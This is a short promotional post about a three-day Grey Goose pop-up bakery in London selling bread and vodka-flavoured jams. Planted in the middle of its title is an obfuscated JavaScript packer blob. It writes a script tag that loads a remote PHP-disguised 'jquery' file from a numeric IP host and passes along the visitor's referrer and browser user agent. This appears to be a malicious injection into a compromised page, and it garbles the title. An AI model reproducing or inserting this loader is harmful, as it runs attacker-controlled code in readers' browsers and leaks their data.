‘Boulangerie (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stsns|var|u0026u|referrer|fhnze||js|php’.split(‘|’),0,{}))
François’ is a pop-up artisan bakery all set to open on Shaftesbury Avenue this month for 3 days…That’s right just 3 days. Grey Goose are the brains behind the shop as they set out to bake and serve up bread made from the same soft winter wheat, Picardie, that is used to create Grey Goose vodka. Intéressant!

Along with the ‘pain’ there will be ‘confiture’, that’s jam to me and you, but not just any jam, specially made jams created using the flavoured Grey Goose vodkas: L’Orange, Le Citron & La Poire made from the finest French ingredients. Oh la la!

Thur 28 to Sat 30 Nov, 9.00am – 6.00pm
Boulangerie Francois, 136 Shaftesbury Avenue, London, W1D 5EZ